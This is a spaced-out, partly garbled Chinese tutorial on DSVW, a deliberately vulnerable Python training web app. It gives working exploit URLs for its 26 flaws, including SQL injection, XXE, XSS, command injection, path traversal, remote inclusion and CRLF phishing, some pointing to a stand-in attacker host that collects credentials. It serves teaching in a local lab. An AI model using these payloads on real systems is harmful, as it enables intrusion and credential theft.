搜索

[11033] 2017-02-16_一款轻量级Web漏洞教学演示系统（DSVW）

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2017-02-16_一款轻量级Web漏洞教学演示系统（DSVW） 一 款 轻 量 级 W e b 漏 洞 教 学 演 示 系 统 （ D S V W ） M y K i n g s   F r e e B u f   2 0 1 7 - 0 2 - 1 6 D a m n   S m a l l   V u l n e r a b l e   W e b   ( D S V W )   是 使 用   P y t h o n   语 言 开 发 的   W e b 应 用 漏 洞   的 演 练 系 统 。 其 系 统 只 有 一 个   p y t h o n   的 脚 本 文 件 组 成 ,   当 中 涵 盖 了   2 6   种   W e b 应 用 漏 洞 环 境 ,   并 且 脚 本 代 码 行 数 控 制 在 了 1 0 0 行 以 内 ,   当 前 版 本 v 0 . 1 m 。 其 作 者 是 其 作 者 是   M i r o s l a v   S t a m p a r ,   对 对 !   就 是 就 是 s q l m a p 同 一 个 作 者 同 一 个 作 者 ,   它 支 持 大 多 数 （ 流 行 的 ） 它 支 持 大 多 数 （ 流 行 的 ） W e b 漏 洞 环 境 与 攻 击 漏 洞 环 境 与 攻 击 E X P L O I T ,   同 时 各 个 漏 同 时 各 个 漏 洞 环 境 还 提 供 了 相 关 说 明 与 介 绍 的 链 接 地 址 。 洞 环 境 还 提 供 了 相 关 说 明 与 介 绍 的 链 接 地 址 。 1   依 赖 环 境 依 赖 环 境 p y t h o n   ( 2 . 6 . x   或   2 . 7 . x ) 依 赖   p y t h o n - l x m l 2   安 装 使 用 安 装 使 用 直 接 克 隆 或 者 下 载 g i t h u b   中 的   d s v w . p y   脚 本 文 件 到 本 地 。 运 行 下 面 命 令 启 动 。 浏 览 器 访 问   h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2   截 图 如 下 : $   g i t   c l o n e   g i t @ g i t h u b . c o m : s t a m p a r m / D S V W . g i t $   p y t h o n   d s v w . p y D a m n   S m a l l   V u l n e r a b l e   W e b   ( D S V W )   <   1 0 0   L o C   ( L i n e s   o f   C o d e )   # v 0 . 1 k   b y :   M i r o s l a v   S t a m p a r   ( @ s t a m p a r m ) [ i ]   r u n n i n g   H T T P   s e r v e r   a t   ' 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 ' . . .
3 .   基 础 背 景 基 础 背 景 3 . 1   数 据 库 数 据 库 需 要 注 意 的 是 D S V W 中 的 S Q L 数 据 库 使 用 的 是 S Q L I T E 3 ,   并 且 创 建 了   u s e r s   与   c o m m e n t s   两 张 表 。 u s e r s   表 字 段 名 字 段 名 字 段 类 型 字 段 类 型 i d I N T E G E R u s e r n a m e T E X T n a m e T E X T s u r n a m e T E X T p a s s w o r d T E X T u s e r s   表 中 的 内 容 表 中 的 内 容 : i d u s e r n a m e n a m e s u r n a m e p a s s w o r d
1 a d m i n a d m i n a d m i n 7 e n 8 a i D o h ! 2 d r i c c i d i a n r i c c i 1 2 3 4 5 ! 3 a m a s o n a n t h o n y m a s o n g a n d a l f 4 s v a r g a s s a n d r a v a r g a s p h e s t 1 9 4 5 i d u s e r n a m e n a m e s u r n a m e p a s s w o r d c o m m e n t s   表 表 字 段 名 字 段 名 字 段 类 型 字 段 类 型 i d I N T E G E R c o m m e n t T E X T t i m e T E X T 3 . 2   X M L 配 置 配 置 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < u s e r s >         < u s e r   i d = " 0 " >                 < u s e r n a m e > a d m i n < / u s e r n a m e >                 < n a m e > a d m i n < / n a m e >                 < s u r n a m e > a d m i n < / s u r n a m e >                 < p a s s w o r d > 7 e n 8 a i D o h ! < / p a s s w o r d >         < / u s e r >         < u s e r   i d = " 1 " >                 < u s e r n a m e > d r i c c i < / u s e r n a m e >                 < n a m e > d i a n < / n a m e >                 < s u r n a m e > r i c c i < / s u r n a m e >                 < p a s s w o r d > 1 2 3 4 5 < / p a s s w o r d >         < / u s e r >         < u s e r   i d = " 2 " >                 < u s e r n a m e > a m a s o n < / u s e r n a m e >                 < n a m e > a n t h o n y < / n a m e >                 < s u r n a m e > m a s o n < / s u r n a m e >                 < p a s s w o r d > g a n d a l f < / p a s s w o r d >         < / u s e r >         < u s e r   i d = " 3 " >                 < u s e r n a m e > s v a r g a s < / u s e r n a m e >                 < n a m e > s a n d r a < / n a m e >                 < s u r n a m e > v a r g a s < / s u r n a m e >                 < p a s s w o r d > p h e s t 1 9 4 5 < / p a s s w o r d >         < / u s e r > < / u s e r s >
4   漏 洞 类 型 漏 洞 类 型 4 . 1   注 入 漏 洞 注 入 漏 洞 4 . 1 . 1   B l i n d   S Q L   I n j e c t i o n   ( b o o l e a n ) 基 于 布 尔 型 的 盲 注 基 于 布 尔 型 的 盲 注 :   H T T P 请 求 的 响 应 体 中 不 会 明 确 的 返 回 S Q L 的 错 误 信 息 ,   当 把 参 数 送 入 程 序 查 询 时 ， 并 且 在 查 询 条 件 为 真 的 情 况 下 返 回 正 常 页 面 ， 条 件 为 假 时 程 序 会 重 定 向 到 或 者 返 回 一 个 自 定 义 的 错 误 页 面 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i d = 2 E X P L O I T : 4 . 1 . 2   B l i n d   S Q L   I n j e c t i o n   ( t i m e ) 基 于 时 间 型 的 盲 注 基 于 时 间 型 的 盲 注 :   与 布 尔 型 盲 注 类 似 ,   当 把 参 数 送 入 程 序 查 询 时 ， 通 过 判 断 服 务 器 响 应 时 所 花 费 的 时 间 ,   如 果 延 迟 大 于 等 于 P a y l o a d 中 设 定 的 值 时 就 可 判 断 查 询 结 果 为 真 ,   否 则 为 假 。 不 同 的 B D M S 使 用 的 方 法 和 技 巧 略 有 不 同 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i d = 1 E X P L O I T : 这 个 漏 洞 环 境 用 到 了   S Q L I T E 3   中 的   C A S E   窗 口 函 数 与   R A N D O M B L O B   来 实 现 的 基 于 时 间 的 盲 注 。                 M S Q L :                   M S S Q L :   4 . 1 . 3   U N I O N   S Q L   I n j e c t i o n 基 于 联 合 查 询 注 入 基 于 联 合 查 询 注 入 :   使 用 U N I O N 运 算 符 用 于 S Q L 注 入 ， U N I O N 运 算 符 是 关 联 两 个 表 的 查 询 结 果 。 攻 击 者 故 意 伪 造 的 恶 意 的 查 询 并 加 入 到 原 始 查 询 中 ,   伪 造 的 查 询 结 果 将 被 合 并 到 原 始 查 询 的 结 果 返 回 ， 攻 击 者 会 获 得 其 他 表 的 信 息 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i d = 2 , E X P L O I T : 4 . 1 . 4   L o g i n   B y p a s s 登 陆 绕 过 登 陆 绕 过 :   这 里 是 基 于 S Q L 注 入 的 一 种 绕 过 方 式 。 登 陆 验 证 的 逻 辑 没 有 验 证 和 过 滤 输 入 字 符 直 接 带 到 s q l 进 行 查 询 , 所 以 产 生 漏 洞 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / l o c a l h o s t : 6 5 4 1 2 / l o g i n ? u s e r n a m e = & p a s s w o r d = E X P L O I T : h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i d = 2   A N D   S U B S T R ( ( S E L E C T   p a s s w o r d   F R O M   u s e r s   W H E R E   n a m e = ' a d m i n ' ) , 1 , 1 ) = ' 7 ' ` h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i d = 1   a n d   ( S E L E C T   ( C A S E   W H E N   ( S U B S T R ( ( S E L E C T   p a s s w o r d   F R O M   u s e r s   W H E R E   n a m e = ' a d m i n ' ) , 2 , 1 ) = ' e ' )   T H E N   ( L I K E ( ' A B C D E F G ' , U P P E R ( H E X ( R A N D O M B L O B ( 3 0 0 0 0 0 0 0 0 ) ) ) ) )   E L S E   0   E N D ) ) s l e e p ( 2 ) W A I T F O R   D E L A Y   ' 0 : 0 : 2 ' h t t p : / / l o c a l h o s t : 6 5 4 1 2 / ? i d = 2   U N I O N   A L L   S E L E C T   N U L L ,   N U L L ,   N U L L ,   ( S E L E C T   i d | | ' , ' | | u s e r n a m e | | ' , ' | | p a s s w o r d   F R O M   u s e r s   W H E R E   u s e r n a m e = ' a d m i n ' )
4 . 1 . 5   X M L   E x t e r n a l   E n t i t y   ( l o c a l ) X M L 实 体 注 入 实 体 注 入 ( 本 地 本 地 ) :   在 使 用 X M L 通 信 的 服 务 中 ( 如 :   S O A P 服 务 ) 。 W e b 系 统 没 有 验 证 与 用 户 通 信 中 X M L 格 式 ,   攻 击 者 可 以 构 造 恶 意 的 X M L 文 件 来 访 问 本 地 服 务 器 上 的 资 源 信 息 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? x m l = % 3 C r o o t % 3 E % 3 C % 2 F r o o t % 3 E E X P L O I T : 4 . 1 . 6   X M L   E x t e r n a l   E n t i t y   ( r e m o t e ) X M L 实 体 注 入 实 体 注 入 ( 远 程 远 程 ) :   在 使 用 X M L 通 信 的 服 务 中 ( 如 :   S O A P 服 务 ) 。 W e b 系 统 没 有 验 证 与 用 户 通 信 中 X M L 格 式 ,   攻 击 者 可 以 构 造 恶 意 的 X M L 文 件 来 将 受 害 服 务 器 的 敏 感 信 息 上 传 到 攻 击 者 的 服 务 器 上 严 重 的 可 以 反 弹 s h e l l 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / l o c a l h o s t : 6 5 4 1 2 / l o g i n ? u s e r n a m e = & p a s s w o r d = E X P L O I T : 4 . 1 . 7   B l i n d   X P a t h   I n j e c t i o n   ( b o o l e a n ) X P a t h 注 入 注 入 :   与 S Q L 注 入 类 似 ， 当 网 站 使 用 用 户 提 交 的 信 息 来 构 造 X M L 数 据 的 X P a t h 查 询 时 ， 会 发 生 X P a t h 注 入 攻 击 。 通 过 将 有 意 的 畸 形 信 息 发 送 到 网 站 ， 攻 击 者 可 以 了 解 X M L 数 据 的 结 构 ， 或 访 问 他 通 常 不 能 访 问 的 数 据 。   如 果 X M L 数 据 用 于 认 证 （ 例 如 基 于 X M L 的 用 户 文 件 ） ， 他 甚 至 可 以 提 升 其 在 网 站 上 的 权 限 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / l o c a l h o s t : 6 5 4 1 2 / l o g i n ? u s e r n a m e = & p a s s w o r d = E X P L O I T : X P a t h   是 一 门 在   X M L   文 档 中 查 找 信 息 的 语 言 。 X P a t h   可 用 来 在   X M L   文 档 中 对 元 素 和 属 性 进 行 遍 历 。                 X P a t h   是   W 3 C   X S L T   标 准 的 主 要 元 素 ， 并 且   X Q u e r y   和   X P o i n t e r   都 构 建 于   X P a t h   表 达 之 上 。                 因 此 ， 对   X P a t h   的 理 解 是 很 多 高 级   X M L   应 用 的 基 础 。 4 . 2   跨 站 漏 洞 跨 站 漏 洞 4 . 2 . 1   C r o s s   S i t e   S c r i p t i n g   ( r e f l e c t e d ) 反 射 型 跨 站 脚 本 攻 击 反 射 型 跨 站 脚 本 攻 击 :   当 攻 击 者 在 单 个 H T T P 响 应 中 插 入 浏 览 器 可 执 行 代 码 ( H T M L 或 J A V A S C R I P T ) 时 ,   会 发 生 反 射 跨 站 点 脚 本 攻 击 。 注 入 的 恶 意 代 码 不 会 存 储 在 应 用 程 序 后 端 ,   它 是 非 持 久 性 的 ， 只 会 影 响 打 开 恶 意 的 链 接 或 第 三 方 网 页 的 用 户 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 E X P L O I T : h t t p : / / l o c a l h o s t : 6 5 4 1 2 / l o g i n ? u s e r n a m e = a d m i n & p a s s w o r d = '   O R   ' 1 '   L I K E   ' 1 h t t p : / / l o c a l h o s t : 6 5 4 1 2 / l o g i n ? u s e r n a m e = a d m i n & p a s s w o r d = '   O R   ' 1 '   L I K E   ' 1 h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? x m l = ] > & x x e ; h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? n a m e = a d m i n '   a n d   s u b s t r i n g ( p a s s w o r d / t e x t ( ) , 3 , 1 ) = ' n
4 . 2 . 2   C r o s s   S i t e   S c r i p t i n g   ( s t o r e d ) 存 储 型 跨 站 脚 本 攻 击 存 储 型 跨 站 脚 本 攻 击 :   存 储 跨 站 脚 本 是 最 危 险 的 跨 站 脚 本 类 型 ,   其 原 理 是 W e b 系 统 会 将 攻 击 者 提 交 的 恶 意 代 码 存 储 到 数 据 库 中 或 是 服 务 器 后 端 里 。 只 要 受 害 者 浏 览 到 存 在 恶 意 代 码 页 面 ,   就 被 执 行 恶 意 代 码 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? c o m m e n t = E X P L O I T : 4 . 2 . 3   C r o s s   S i t e   S c r i p t i n g   ( D O M ) D O M 型 跨 站 脚 本 攻 击 型 跨 站 脚 本 攻 击 :   基 于 D O M 的 跨 站 脚 本 是 X S S   b u g 的 事 实 上 的 名 字 ， 它 是 页 面 上 通 常 是 J a v a S c r i p t 的 活 动 浏 览 器 端 内 容 的 结 果 ， 获 取 用 户 输 入 ， 然 后 做 一 些 不 安 全 的 事 情 ， 导 致 注 入 代 码 的 执 行 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? # l a n g = e n E X P L O I T : 4 . 2 . 4   C r o s s   S i t e   S c r i p t i n g   ( J S O N P ) J S O N P 劫 持 劫 持 :   网 站 中 通 过   J S O N P   的 方 式 来 跨 域 （ 一 般 为 子 域 ） 传 递 用 户 认 证 后 的 敏 感 信 息 时 ， 攻 击 者 可 以 构 造 恶 意 的   J S O N P   调 用 页 面 ， 诱 导 被 攻 击 者 访 问 来 达 到 截 取 用 户 敏 感 信 息 的 目 的 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? # l a n g = e n E X P L O I T : 4 . 2 . 5   C r o s s   S i t e   R e q u e s t   F o r g e r y 跨 站 请 求 伪 造 跨 站 请 求 伪 造 :   会 导 致 受 害 者 在 当 前 被 认 证 的 W e b 应 用 程 序 上 执 行 一 些   “ 非 正 常 授 权 ”   的 操 作 。 通 常 这 类 攻 击 需 要 借 助 第 三 方 （ 如 : 通 过 邮 件 、 私 信 、 聊 天 发 送 链 接 等 ） 的 一 些 帮 助 ， 攻 击 者 可 以 强 制 W e b 应 用 程 序 的 用 户 执 行 攻 击 者 选 择 的 操 作 。 当 受 害 者 是 普 通 用 户 时 ,   C S R F 攻 击 可 能 会 影 响 最 终 用 户 数 据 和 操 作 ;   如 果 受 害 者 是 管 理 员 帐 户 ， C S R F 攻 击 可 能 会 危 及 整 个 W e b 应 用 程 序 系 统 的 安 全 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? c o m m e n t = E X P L O I T : 这 里 使 用 了 < i m g > 标 签 来 自 动 发 布 了 一 个 红 色 字 体 的 I   q u i t   t h e   j o b 评 论 。 4 . 3   其 他 漏 洞 其 他 漏 洞 h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 < s c r i p t > a l e r t ( " a r b i t r a r y   j a v a s c r i p t " ) < / s c r i p t > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? c o m m e n t = < s c r i p t > a l e r t ( " a r b i t r a r y   j a v a s c r i p t " ) < / s c r i p t > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? f o o b a r # l a n g = e n < s c r i p t > a l e r t ( " a r b i t r a r y   j a v a s c r i p t " ) < / s c r i p t > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? f o o b a r # l a n g = e n < s c r i p t > a l e r t ( " a r b i t r a r y   j a v a s c r i p t " ) < / s c r i p t > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = < i m g   >
4 . 3 . 1   H T T P   P a r a m e t e r   P o l l u t i o n H T T P 参 数 污 染 参 数 污 染 :   当 使 用 G E T 或 者 P O S T 方 法 提 交 参 数 时 ,   请 求 体 中 包 含 了 多 个 相 同 名 称 而 不 同 值 的 参 数 。 由 于 不 同 的 语 言 与 W e b 容 器 处 理 的 方 式 不 同 ,   结 合 业 务 场 景 会 产 生 不 同 的 影 响 。 通 过 利 用 这 些 影 响 ， 攻 击 者 可 能 能 够 绕 过 输 入 验 证 ， 触 发 应 用 程 序 错 误 或 修 改 内 部 变 量 值 等 风 险 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / l o g i n ? u s e r n a m e = a d m i n & p a s s w o r d = E X P L O I T : 这 里 使 用 了 H T T P 参 数 污 染 来 模 拟 绕 过 W A F 4 . 3 . 2   S e r v e r   S i d e   R e q u e s t   F o r g e r y 服 务 器 端 请 求 伪 造 服 务 器 端 请 求 伪 造 :   一 种 由 攻 击 者 构 造 形 成 的 指 令 并 由 服 务 端 发 起 请 求 的 一 个 安 全 漏 洞 。 一 般 情 况 下 ， S S R F 攻 击 的 目 标 是 从 外 网 无 法 访 问 的 内 部 系 统 资 源 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = E X P L O I T : 如 果   I P   地 址   1 2 7 . 0 . 0 . 1   开 放 了   8 0   端 口 ,   那 么 返 回 得 到 的 信 息 ,   否 则 返 回 一 个   5 0 0   错 误 。 4 . 3 . 3   F r a m e   I n j e c t i o n   ( p h i s h i n g ) F r a m e 注 入 注 入 ( 钓 鱼 钓 鱼 ) :   属 于 X S S 的 范 畴 ,   将 H T M L 的 标 签 注 入 到 存 在 漏 洞 的 H T T P 响 应 体 中 ,   如 :   i f r a m e 标 签 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 E X P L O I T : 4 . 3 . 4   F r a m e   I n j e c t i o n   ( c o n t e n t   s p o o f i n g ) F r a m e 注 入 注 入 ( 内 容 欺 骗 内 容 欺 骗 ) :   同 上 原 理 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 E X P L O I T : 4 . 3 . 5   C l i c k j a c k i n g 点 击 劫 持 点 击 劫 持 :   是 一 种 恶 意 技 术 ， 其 包 括 欺 骗 W e b 用 户 让 他 们 认 为 正 在 与 交 互 的 东 西 的 交 互 （ 在 大 多 数 情 况 下 通 过 点 击 ,   这 种 技 术 手 段 运 h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / l o g i n ? u s e r n a m e = a d m i n & p a s s w o r d = ' / * & p a s s w o r d = * / O R / * & p a s s w o r d = * / ' 1 ' / * & p a s s w o r d = * / L I K E / * & p a s s w o r d = * / ' 1 h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 < i f r a m e   s r c = " h t t p : / / a t t a c k e r . c o . n f / i / l o g i n . h t m l "   s t y l e = " b a c k g r o u n d - c o l o r : w h i t e ; z - i n d e x : 1 0 ; t o p : 1 0 % ; l e f t : 1 0 % ; p o s i t i o n : f i x e d ; b o r d e r - c o l l a p s e : c o l l a p s e ; b o r d e r : 1 p x   s o l i d   # a 8 a 8 a 8 " > < / i f r a m e > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 < i f r a m e   s r c = " h t t p : / / a t t a c k e r . c o . n f / i / l o g i n . h t m l "   s t y l e = " b a c k g r o u n d - c o l o r : w h i t e ; z - i n d e x : 1 0 ; t o p : 1 0 % ; l e f t : 1 0 % ; p o s i t i o n : f i x e d ; b o r d e r - c o l l a p s e : c o l l a p s e ; b o r d e r : 1 p x   s o l i d   # a 8 a 8 a 8 " > < / i f r a m e >
用 最 多 的 就 是 广 告 ） 。 这 种 类 型 的 攻 击 可 以 单 独 使 用 或 与 其 他 攻 击 结 合 使 用 ， 在 受 害 者 与 看 似 无 害 的 网 页 进 行 交 互 时 ， 可 能 会 发 送 未 经 授 权 的 命 令 或 泄 露 机 密 信 息 。 E X P L O I T : 4 . 3 . 6   U n v a l i d a t e d   R e d i r e c t 未 验 证 的 重 定 向 未 验 证 的 重 定 向 :   当 W e b 应 用 程 序 接 受 不 受 信 任 的 输 入 时 ， 可 能 会 导 致 W e b 应 用 程 序 将 请 求 重 定 向 到 包 含 在 不 受 信 任 的 输 入 中 的 U R L ， 从 而 可 能 导 致 未 经 验 证 的 重 定 向 和 转 发 。 通 过 将 不 受 信 任 的 U R L 输 入 修 改 为 恶 意 网 站 ， 攻 击 者 可 能 会 成 功 启 动 网 络 钓 鱼 诈 骗 并 窃 取 用 户 凭 据 。 由 于 修 改 链 接 中 的 服 务 器 名 称 与 原 始 网 站 相 同 ， 因 此 网 络 钓 鱼 尝 试 可 能 具 有 更 可 信 的 外 观 。 未 验 证 的 重 定 向 和 转 发 攻 击 也 可 用 于 恶 意 制 作 一 个 U R L ， 该 U R L 将 通 过 应 用 程 序 的 访 问 控 制 检 查 ， 然 后 将 攻 击 者 转 发 到 他 们 通 常 无 法 访 问 的 特 权 功 能 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? r e d i r = E X P L O I T : 4 . 3 . 7   A r b i t r a r y   C o d e   E x e c u t i o n 任 意 代 码 执 行 任 意 代 码 执 行 :   开 发 人 员 没 有 严 格 验 证 用 户 输 入 的 数 据 ,   在 某 些 特 殊 业 务 场 景 中 ,   用 户 可 构 造 出 恶 意 的 代 码 或 系 统 命 令 ,   来 获 得 服 务 器 上 的 敏 感 信 息 或 者 得 到 服 务 器 的 控 制 权 限 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? d o m a i n = w w w . g o o g l e . c o m E X P L O I T : 4 . 3 . 8   F u l l   P a t h   D i s c l o s u r e 完 整 路 径 泄 露 完 整 路 径 泄 露 :   全 路 径 泄 露 漏 洞 使 攻 击 者 能 够 看 到 W e b 应 用 程 序 在 服 务 器 端 的 完 整 路 径 ( 例 如 ： / v a r / w w w / h t m l / ) 。 攻 击 者 会 结 合 其 他 漏 洞 对 W e b 系 统 进 一 步 的 攻 击 ( 如 :   写   W e b s h e l l ) 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = E X P L O I T : 4 . 3 . 9   S o u r c e   C o d e   D i s c l o s u r e 源 码 泄 露 源 码 泄 露 :   该 漏 洞 会 造 成 允 许 未 授 权 用 户 获 得 服 务 器 端 应 用 程 序 的 源 代 码 。 此 漏 洞 会 造 成 企 业 内 部 的 敏 感 信 息 泄 露 或 容 易 遭 受 恶 意 攻 击 者 攻 击 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = E X P L O I T : h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? v = 0 . 2 < d i v   s t y l e = " o p a c i t y : 0 ; f i l t e r : a l p h a ( o p a c i t y = 2 0 ) ; b a c k g r o u n d - c o l o r : # 0 0 0 ; w i d t h : 1 0 0 % ; h e i g h t :   a u t o   ! i m p o r t a n t ; z - i n d e x : 1 0 ; t o p : 0 ; l e f t : 0 ; p o s i t i o n : f i x e d ; "   o n c l i c k = " d o c u m e n t . l o c a t i o n = ' h t t p : / / a t t a c k e r . c o . n f / ' " > < / d i v > < s c r i p t > a l e r t ( " c l i c k   a n y w h e r e   o n   p a g e " ) ; < / s c r i p t > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? r e d i r = h t t p : / / a t t a c k e r . c o . n f h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? d o m a i n = w w w . g o o g l e . c o m ;   i f c o n f i g h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = f o o b a r
4 . 3 . 1 0   P a t h   T r a v e r s a l 路 径 穿 越 路 径 穿 越 :   路 径 遍 历 攻 击 （ 也 称 为 目 录 遍 历 ） 旨 在 访 问 存 储 在 W e b 根 文 件 夹 外 部 的 文 件 和 目 录 。 通 过 使 用   “ . . / ”   或   “ . . ”   等 相 对 文 件 路 径 方 式 来 操 纵 引 用 文 件 的 变 量 ， 该 漏 洞 会 允 许 访 问 存 储 在 文 件 系 统 上 的 任 意 文 件 和 目 录 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = E X P L O I T : 4 . 3 . 1 1   F i l e   I n c l u s i o n   ( r e m o t e ) 远 程 文 件 包 含 远 程 文 件 包 含 :   通 常 利 用 目 标 应 用 程 序 中 实 现 的   “ 动 态 文 件 包 含 ”   机 制 ， 允 许 攻 击 者 包 括 一 个 远 程 文 件 。   由 于 对 用 户 输 入 的 数 据 没 有 进 行 适 当 的 验 证 ， 导 致 出 现 漏 洞 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i n c l u d e = E X P L O I T : 4 . 3 . 1 2   H T T P   H e a d e r   I n j e c t i o n   ( p h i s h i n g ) H T T P 响 应 头 拆 分 响 应 头 拆 分 ( 钓 鱼 钓 鱼 ) :   用 户 提 交 的 部 分 参 数 ,   没 有 经 过 验 证 或 过 滤 直 接 在 响 应 头 中 输 出 ,   由 于 H T T P 的 H e a d e r 中 使 用 了 C R L F ( u r l 中 的 % 0 d % 0 a ) 来 分 割 各 个 字 段 中 的 数 据 。 恶 意 用 户 可 以 构 造 特 殊 的 数 据 应 该 欺 骗 钓 鱼 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? c h a r s e t = u t f 8 E X P L O I T : 4 . 3 . 1 3   C o m p o n e n t   w i t h   K n o w n   V u l n e r a b i l i t y   ( p i c k l e ) 使 用 含 有 已 知 漏 洞 的 组 件 使 用 含 有 已 知 漏 洞 的 组 件 ( p i c k l e ) :   p i c k l e 存 在 一 个 文 件 序 列 化 漏 洞 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? o b j e c t = % 2 8 d p 0 % 0 A S % 2 7 a d m i n % 2 7 % 0 A p 1 % 0 A % 2 8 S % 2 7 a d m i n % 2 7 % 0 A p 2 % 0 A S % 2 7 a d m i n % 2 7 % 0 A p 3 % 0 A t p 4 % 0 A s S % 2 7 d r i c c i % 2 7 % 0 A p 5 % 0 A % 2 8 S % 2 7 d i a n % 2 7 % 0 A p 6 % 0 A S % 2 7 r i c c i % 2 7 % 0 A p 7 % 0 A t p 8 % 0 A s S % 2 7 a m a s o n % 2 7 % 0 A p 9 % 0 A % 2 8 S % 2 7 a n t h o n y % 2 7 % 0 A p 1 0 % 0 A S % 2 7 m a s o n % 2 7 % 0 A p 1 1 % 0 A t p 1 2 % 0 A s S % 2 7 s v a r g a s % 2 7 % 0 A p 1 3 % 0 A % 2 8 S % 2 7 s a n d r a % 2 7 % 0 A p 1 4 % 0 A S % 2 7 v a r g a s % 2 7 % 0 A p 1 5 % 0 A t p 1 6 % 0 A s . E X P L O I T : 这 里 执 行 了 p i n g   - c   5   1 2 7 . 0 . 0 . 1   命 令 4 . 3 . 1 4   D e n i a l   o f   S e r v i c e   ( m e m o r y ) h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = d s v w . p y h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? p a t h = . . / . . / . . / . . / . . / . . / e t c / p a s s w d h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? i n c l u d e = h t t p : / / p a s t e b i n . c o m / r a w . p h p ? i = N 5 c c E 6 i H & c m d = i f c o n f i g h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? c h a r s e t = u t f 8 % 0 D % 0 A X - X S S - P r o t e c t i o n : 0 % 0 D % 0 A C o n t e n t - L e n g t h : 3 8 8 % 0 D % 0 A % 0 D % 0 A < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > L o g i n < / t i t l e > < / h e a d > < b o d y   s t y l e = ' f o n t :   1 2 p x   m o n o s p a c e ' > < f o r m   a c t i o n = " h t t p : / / a t t a c k e r . c o . n f / i / l o g . p h p "   o n S u b m i t = " a l e r t ( ' v i s i t   ' h t t p : / / a t t a c k e r . c o . n f / i / l o g . t x t '   t o   s e e   y o u r   p h i s h e d   c r e d e n t i a l s ' ) " > U s e r n a m e : < b r > < i n p u t   t y p e = " t e x t "   n a m e = " u s e r n a m e " > < b r > P a s s w o r d : < b r > < i n p u t   t y p e = " p a s s w o r d "   n a m e = " p a s s w o r d " > < i n p u t   t y p e = " s 